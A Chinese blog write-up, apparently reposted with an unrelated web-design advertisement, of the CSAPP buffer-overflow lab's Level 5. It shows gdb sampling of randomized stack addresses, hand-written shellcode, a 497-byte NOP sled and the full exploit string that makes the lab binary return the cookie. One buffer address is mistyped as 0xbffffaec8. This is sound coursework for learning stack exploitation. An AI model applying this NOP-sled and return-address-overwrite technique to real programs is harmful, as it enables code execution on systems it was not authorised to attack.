CSAPP缓冲区溢出实验记录(三)

Level 5 Nitroglycerin (10 分)

天水网站制作公司哪家好,找创新互联!从网页设计、网站建设、微信开发、APP开发、成都响应式网站建设公司等网站项目制作,到程序开发,运营维护。创新互联从2013年创立到现在10年的时间,我们拥有了丰富的建站经验和运维经验,来保证我们的工作的顺利进行。专注于网站建设就选创新互联。

题目说明:这一关是一道加分题。在bufbomb程序中还有一个'-n'的选项,使用这个选项时,bufbomb会运行Nitro模式,此时程序不会调用getbuf,而是调用getbufn:

int getbufn()
{
    char buf[512];
    Gets(buf);
    return 1;
}

这个函数与getbuf所不同的是,分配了512字节的字符数组,而调用getbufn的函数会在栈中随机分配一段存储区,这导致getbufn使用的栈基址EBP随机变化。此外,在Nitro模式运行时,bufbomb会要求提供5次输入字符串,每一次都要求getbufn的返回值为实验者的cookie。

与Level4相同,但要求提供同一个exploit string,在getbufn被调用5次后,最终返回到testn函数中,且不能破坏testn的堆栈状态,并使返回值为cookie。

解法:

由于getbufn函数栈的EBP不固定,每一次buf都不相同,我们先进行采样,观察其变化规律。

(gdb) disass getbufn
Dump of assembler code for function getbufn:
0x08048a60 : push   %ebp
0x08048a61 : mov    %esp,%ebp
0x08048a63 : sub    $0x208,%esp
0x08048a69 : add    $0xfffffff4,%esp
0x08048a6c :        lea    0xfffffe00(%ebp),%eax
0x08048a72 :        push   %eax
0x08048a73 :        call   0x8048b50 
0x08048a78 :        mov    $0x1,%eax
0x08048a7d :        mov    %ebp,%esp
0x08048a7f :        pop    %ebp
0x08048a80 :        ret    
End of assembler dump.
(gdb) b *0x8048a72                 注:在调用Gets前下断点
Breakpoint 1 at 0x8048a72
(gdb) run -n -t heen                  以Nitro模式运行
Starting program: /root/Desktop/buflab/bufbomb -n -t heen
Team: heen
Cookie: 0x5573b7cf
Breakpoint 1, 0x08048a72 in getbufn ()
(gdb) p/x $ebp+0xfffffe00         以16进制打印buf
$1 = 0xbfffaeb8
(gdb) cont
Continuing.
Type string:hello
Dud: getbufn returned 0x1
Better luck next time
Breakpoint 1, 0x08048a72 in getbufn ()
(gdb) p/x $ebp+0xfffffe00
$2 = 0xbfffaeb8
(gdb) cont
Continuing.
Type string:hello again
Dud: getbufn returned 0x1
Better luck next time
Breakpoint 1, 0x08048a72 in getbufn ()
(gdb) p/x $ebp+0xfffffe00
$3 = 0xbfffaec8
(gdb) cont
Continuing.
Type string:hello again again
Dud: getbufn returned 0x1
Better luck next time
Breakpoint 1, 0x08048a72 in getbufn ()
(gdb) p/x $ebp+0xfffffe00
$4 = 0xbfffae98
(gdb) cont
Continuing.
Type string:dfafafaf
Dud: getbufn returned 0x1
Better luck next time
Breakpoint 1, 0x08048a72 in getbufn ()
(gdb) p/x $ebp+0xfffffe00
$5 = 0xbfffaec8
(gdb) p $ebp+0xfffffe00-$ebp
$6 = -512
(gdb) cont
Continuing.
Type string:fdfdfdfdfff
Dud: getbufn returned 0x1
Better luck next time
Program exited normally.

在getbufn被调用5次时,buf分别为0xbfffaeb8、0xbfffaeb8、0xbffffaec8、0xbfffae98、0xbfffaec8。最后我们打印了一下buf与EBP之间的偏移,正好为buf分配的512字节。堆栈布局如图所示。

CSAPP缓冲区溢出实验记录(三)

由于buf分配了足够的存储空间(512字节),而且buf本身随机变化,因此我们考虑在实际的shellcode前加上NOP Sled(空指令雪撬),然后提供一个buf在getbufn5次调用中的最大地址覆盖ret,这样可保证ret指向EBP与实际buf之间的NOP Sled区,这样保证通过NOP空指令滑行,最终执行shellcode。

另外一个需要注意的地方是恢复调用函数testn的堆栈状态,由于EBP不固定,不能向Level 4那样在exploit string中填入SFP,需要在shellcode中设置。

总结一下,编写shellcode需要(1)恢复SFP;(2)设置getbufn返回值为cookie;(3)跳转到testn中调用getbufn后的下一指令地址。

反汇编testn

(gdb) disass testn
Dump of assembler code for function testn:
0x08048a84 :   push   %ebp
0x08048a85 :   mov    %esp,%ebp
0x08048a87 :   sub    $0x18,%esp ; %ebp=%esp+0x18
0x08048a8a :   movl   $0xdeadbeef,0xfffffffc(%ebp)
0x08048a91 :  call   0x8048a60 
0x08048a96 :  mov    %eax,%edx ;shellcode需要返回到的地址
0x08048a98 :  mov    0xfffffffc(%ebp),%eax
0x08048a9b :  cmp    $0xdeadbeef,%eax
0x08048aa0 :  je     0x8048ab1 
0x08048aa2 :  add    $0xfffffff4,%esp
0x08048aa5 :  push   $0x8049440
0x08048aaa :  call   0x8048748 
0x08048aaf :  jmp    0x8048ae1 
0x08048ab1 :  cmp    0x804aa50,%edx
0x08048ab7 :  jne    0x8048ad3 
0x08048ab9 :  add    $0xfffffff8,%esp
0x08048abc :  push   %edx
0x08048abd :  push   $0x80494c0
0x08048ac2 :  call   0x8048748 
0x08048ac7 :  add    $0xfffffff4,%esp
0x08048aca :  push   $0x4
0x08048acc :  call   0x8048c30 
---Type  to continue, or q  to quit---

由于我们只覆盖了getbufn在堆栈中的SFP和RET,不会影响ESP,可以反推testn堆栈中的ebp(即getbufn的SFP)为esp+0x18。通过这些信息,编写shellcode,并获得其十六进制的机器码

[root@localhost buflab]# cat exploit5_shellcode.s
leal 0x18(%esp),%ebp
movl $0x5573b7cf,%eax
pushl $0x8048a96
ret
[root@localhost buflab]# gcc -c exploit5_shellcode.s
[root@localhost buflab]# objdump -d exploit5_shellcode.o

exploit5_shellcode.o:     file format elf32-i386

Disassembly of section .text:

00000000 <.text>:
   0:   8d 6c 24 18             lea    0x18(%esp),%ebp
   4:   b8 cf b7 73 55          mov    $0x5573b7cf,%eax
   9:   68 96 8a 04 08          push   $0x8048a96
   e:   c3                      ret

上述shellcode的机器码包括15个字节,我们还需要在其前面填入512 -15 = 497个NOP(90)。

编写497个空格间断的90是一件痛苦的事,幸好我们有perl来帮我们完成

[root@localhost buflab]# perl -e 'print "90 " x 497;'> exploit5.txt

当然perl还可直接生成exploit string,由于有sendstring程序,此处不表。

接着编辑exploit5.txt,在最后一个90后填入。

90 90 ... 90 8d 6c 24 18 b8 cf b7 73 55 68 96 8a 04 08 c3 61 61 61 61 c8 ae ff bf 

<-497个->
上面的4个61为覆盖SFP的地方,由于我们shellcode中做了设置,因此此处可为任意字节(除回车和nul),最后紧跟我们实验中获得的buf 的最大地址0xbffffaec8。

运行

[root@localhost buflab]# cat exploit5.txt|./sendstring -n 5 |./bufbomb -n -t heen
Team: heen
Cookie: 0x5573b7cf
Type string:KABOOM!: getbufn returned 0x5573b7cf
Keep going
Type string:KABOOM!: getbufn returned 0x5573b7cf
Keep going
Type string:KABOOM!: getbufn returned 0x5573b7cf
Keep going
Type string:KABOOM!: getbufn returned 0x5573b7cf
Keep going
Type string:KABOOM!: getbufn returned 0x5573b7cf
NICE JOB!

在getbufn调用5次后,满足了题目要求。

总结:

上述5关前前后后做了一个月,尽管以前对栈的缓冲区溢出有所理解,但当真正实践起来又是另外一回事,也并非如记录中的那样一帆风顺、信手捻来,而是走了无数的弯路以后才理解、并应用了正确的方法、得出了最后的结果,正所谓"纸上得来终觉浅,绝知此事要躬行",在信息安全这样一个实战性极强的领域里,更需要实实在在地耕耘下去。


本文名称:CSAPP缓冲区溢出实验记录(三)
文章位置:http://scyanting.com/article/jjosdj.html